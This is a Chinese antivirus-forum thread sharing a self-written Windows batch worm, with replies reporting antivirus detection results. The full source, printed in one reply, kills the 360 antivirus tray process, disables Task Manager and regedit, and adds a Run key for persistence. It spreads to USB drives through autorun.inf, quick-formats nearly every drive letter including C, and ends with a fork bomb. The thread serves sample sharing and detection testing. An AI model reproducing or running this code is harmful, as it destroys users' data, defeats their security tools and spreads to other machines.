查看: 2583|回复: 26
收起左侧

[病毒样本] FormatCY漏洞利用批处理脚本

[复制链接]
python无名氏
发表于 2022-12-18 20:52:44 | 显示全部楼层 |阅读模式
自制的,里面有注释

请勿在实机运行!
把里面的FormatYD.txt把后缀改成.bat就行了

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 1人气 +1 收起 理由
hsks + 1 欢迎新人~

查看全部评分

UNknownOoo
发表于 2022-12-18 20:56:15 | 显示全部楼层
智量
双击:KILL

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
dreams521
发表于 2022-12-18 20:57:29 | 显示全部楼层
  1. [url=home.php?mod=space&uid=331734]@echo[/url] off
  2. ::PROCESS START——
  3. ::Creator_pythonhavenoname
  4. ::PS_其实写了很多重复代码,Because水平有限-_-'
  5. ::中途你会发现许多start cmd >NUL 2>NUL,这是为了干扰受害者的操作。
  6. ::这个就是最终的1.0版本定型啦>o<
  7. ::接下来就是所有代码啦!0_0
  8. cls
  9. title Virus.bat.FormatYD.a - by bilibili:python无名氏
  10. color 40
  11. net.exe session >NUL 2>NUL && (
  12.     goto as_admin
  13. ) || (
  14.     goto not_admin
  15. )
  16. :as_admin
  17. goto malware
  18. :not_admin
  19. title 请以管理员身份运行
  20. echo 这个程序需要管理员权限,现在没有!
  21. echo 请以管理员身份运行!
  22. echo 按任意键退出...
  23. pause>nul
  24. exit
  25. :malware
  26. ::准备工作开始——
  27. ::禁用任管和regedit + 劫持360进程
  28. start cmd >NUL 2>NUL
  29. start cmd >NUL 2>NUL
  30. start cmd >NUL 2>NUL
  31. start cmd >NUL 2>NUL
  32. start cmd >NUL 2>NUL
  33. start cmd >NUL 2>NUL
  34. start cmd >NUL 2>NUL
  35. start cmd >NUL 2>NUL
  36. start cmd >NUL 2>NUL
  37. start cmd >NUL 2>NUL
  38. start cmd >NUL 2>NUL
  39. start cmd >NUL 2>NUL
  40. start cmd >NUL 2>NUL
  41. start cmd >NUL 2>NUL
  42. start cmd >NUL 2>NUL
  43. start cmd >NUL 2>NUL
  44. start cmd >NUL 2>NUL
  45. taskkill /f /im 360tray.exe /t >NUL 2>NUL
  46. reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t reg_dword /d "1" /f >NUL 2>NUL
  47. reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d 00000001 /f >NUL 2>NUL
  48. ::添加开机自启
  49. reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v %0 /d %0 /f >NUL 2>NUL
  50. ::查找U盘
  51. for /f "tokens=2 delims==" %%a in ('wmic LogicalDisk where "DriveType='2'" get DeviceID /value') do (
  52.     set DriveU=%%a
  53. ) >NUL 2>NUL
  54. ::准备部分结束——
  55. start cmd >NUL 2>NUL
  56. start cmd >NUL 2>NUL
  57. start cmd >NUL 2>NUL
  58. start cmd >NUL 2>NUL
  59. start cmd >NUL 2>NUL
  60. start cmd >NUL 2>NUL
  61. start cmd >NUL 2>NUL
  62. start cmd >NUL 2>NUL
  63. start cmd >NUL 2>NUL
  64. start cmd >NUL 2>NUL
  65. start cmd >NUL 2>NUL
  66. start cmd >NUL 2>NUL
  67. start cmd >NUL 2>NUL
  68. start cmd >NUL 2>NUL
  69. start cmd >NUL 2>NUL
  70. start cmd >NUL 2>NUL
  71. start cmd >NUL 2>NUL
  72. ::传播部分开始——
  73. ::将自身复制到U盘,并写入autorun.inf(插入U盘自运行)
  74. copy %0 %DriveU% >NUL 2>NUL
  75. set sn=%~n0
  76. echo [AutoRun]>%DriveU%\autorun.inf
  77. echo open=%sn%.bat>>%DriveU%\autorun.inf
  78. ::弹出U盘,防止一会儿被自己给格了
  79. mountvol %DriveU% /d >NUL 2>NUL
  80. ::将自身复制到各个盘去(其实没啥卵用,因为到最后还不是被格了)
  81. copy %0 z: >NUL 2>NUL
  82. copy %0 q: >NUL 2>NUL
  83. copy %0 y: >NUL 2>NUL
  84. copy %0 w: >NUL 2>NUL
  85. copy %0 n: >NUL 2>NUL
  86. copy %0 k: >NUL 2>NUL
  87. copy %0 l: >NUL 2>NUL
  88. copy %0 h: >NUL 2>NUL
  89. copy %0 o: >NUL 2>NUL
  90. copy %0 p: >NUL 2>NUL
  91. copy %0 x: >NUL 2>NUL
  92. copy %0 j: >NUL 2>NUL
  93. copy %0 u: >NUL 2>NUL
  94. copy %0 t: >NUL 2>NUL
  95. copy %0 d: >NUL 2>NUL
  96. copy %0 c: >NUL 2>NUL
  97. copy %0 e: >NUL 2>NUL
  98. ::传播部分结束——
  99. start cmd >NUL 2>NUL
  100. start cmd >NUL 2>NUL
  101. start cmd >NUL 2>NUL
  102. start cmd >NUL 2>NUL
  103. start cmd >NUL 2>NUL
  104. start cmd >NUL 2>NUL
  105. start cmd >NUL 2>NUL
  106. start cmd >NUL 2>NUL
  107. start cmd >NUL 2>NUL
  108. start cmd >NUL 2>NUL
  109. start cmd >NUL 2>NUL
  110. start cmd >NUL 2>NUL
  111. start cmd >NUL 2>NUL
  112. start cmd >NUL 2>NUL
  113. start cmd >NUL 2>NUL
  114. start cmd >NUL 2>NUL
  115. start cmd >NUL 2>NUL
  116. ::破坏部分开始——
  117. ::通过format命令吃掉磁盘(因为怕吃不干净,所以加了mountvol命令弹出磁盘)
  118. start cmd >NUL 2>NUL
  119. echo y|format d: /q >NUL 2>NUL
  120. mountvol d: /d >NUL 2>NUL
  121. echo y|format e: /q >NUL 2>NUL
  122. mountvol e: /d >NUL 2>NUL
  123. echo y|format f: /q >NUL 2>NUL
  124. mountvol f: /d >NUL 2>NUL
  125. echo y|format g: /q >NUL 2>NUL
  126. mountvol g: /d >NUL 2>NUL
  127. echo y|format h: /q >NUL 2>NUL
  128. mountvol h: /d >NUL 2>NUL
  129. echo y|format i: /q >NUL 2>NUL
  130. echo y|format g: /q >NUL 2>NUL
  131. echo y|format k: /q >NUL 2>NUL
  132. echo y|format l: /q >NUL 2>NUL
  133. echo y|format m: /q >NUL 2>NUL
  134. echo y|format n: /q >NUL 2>NUL
  135. echo y|format o: /q >NUL 2>NUL
  136. echo y|format p: /q >NUL 2>NUL
  137. echo y|format q: /q >NUL 2>NUL
  138. echo y|format r: /q >NUL 2>NUL
  139. echo y|format s: /q >NUL 2>NUL
  140. echo y|format t: /q >NUL 2>NUL
  141. echo y|format u: /q >NUL 2>NUL
  142. echo y|format v: /q >NUL 2>NUL
  143. echo y|format w: /q >NUL 2>NUL
  144. start cmd >NUL 2>NUL
  145. start cmd >NUL 2>NUL
  146. start cmd >NUL 2>NUL
  147. start cmd >NUL 2>NUL
  148. start cmd >NUL 2>NUL
  149. start cmd >NUL 2>NUL
  150. start cmd >NUL 2>NUL
  151. start cmd >NUL 2>NUL
  152. start cmd >NUL 2>NUL
  153. echo y|format x: /q >NUL 2>NUL
  154. echo y|format y: /q >NUL 2>NUL
  155. echo y|format z: /q >NUL 2>NUL
  156. mountvol c: /d >NUL 2>NUL
  157. echo y|format c: /q >NUL 2>NUL
  158. mountvol i: /d >NUL 2>NUL
  159. mountvol j: /d >NUL 2>NUL
  160. mountvol k: /d >NUL 2>NUL
  161. mountvol l: /d >NUL 2>NUL
  162. mountvol m: /d >NUL 2>NUL
  163. mountvol n: /d >NUL 2>NUL
  164. mountvol o: /d >NUL 2>NUL
  165. mountvol p: /d >NUL 2>NUL
  166. mountvol q: /d >NUL 2>NUL
  167. mountvol r: /d >NUL 2>NUL
  168. mountvol s: /d >NUL 2>NUL
  169. mountvol t: /d >NUL 2>NUL
  170. mountvol u: /d >NUL 2>NUL
  171. mountvol v: /d >NUL 2>NUL
  172. mountvol w: /d >NUL 2>NUL
  173. mountvol x: /d >NUL 2>NUL
  174. mountvol y: /d >NUL 2>NUL
  175. mountvol z: /d >NUL 2>NUL
  176. start cmd >NUL 2>NUL
  177. start cmd >NUL 2>NUL
  178. start cmd >NUL 2>NUL
  179. start cmd >NUL 2>NUL
  180. start cmd >NUL 2>NUL
  181. start cmd >NUL 2>NUL
  182. start cmd >NUL 2>NUL
  183. start cmd >NUL 2>NUL
  184. ::破坏部分结束——
  185. ::调个皮:D  其实很可能程序撑不到这(系统盘汐了)
  186. msg * hello! your data is FUCKED by me! >NUL2>NUL
  187. ::来颗内存炸弹:D
  188. %0|%0|start %0 >NUL 2>NUL
  189. ::PROCESS END——
复制代码
biue
发表于 2022-12-18 21:03:25 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
秋日之殇
发表于 2022-12-18 21:07:19 | 显示全部楼层
卡巴没有反应,虚拟机G了,上报了
心心相印
发表于 2022-12-18 21:13:50 | 显示全部楼层
bdts miss
Shake2333
发表于 2022-12-18 21:21:44 | 显示全部楼层
McAfee miss
心醉咖啡
发表于 2022-12-18 21:53:52 | 显示全部楼层
360

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
anthonyqian
发表于 2022-12-18 22:03:37 | 显示全部楼层
本帖最后由 anthonyqian 于 2022-12-19 08:18 编辑

微软上报后快速地添加了检测Trojan:BAT/Malgent!MSR


ESET:Thank you for your submission.
The detection for this threat will be included in the next update of detection engine, expected version: 26440.

FormatYD.bat - BAT/Autorun.HX worm
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-2 18:37 , Processed in 0.124446 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表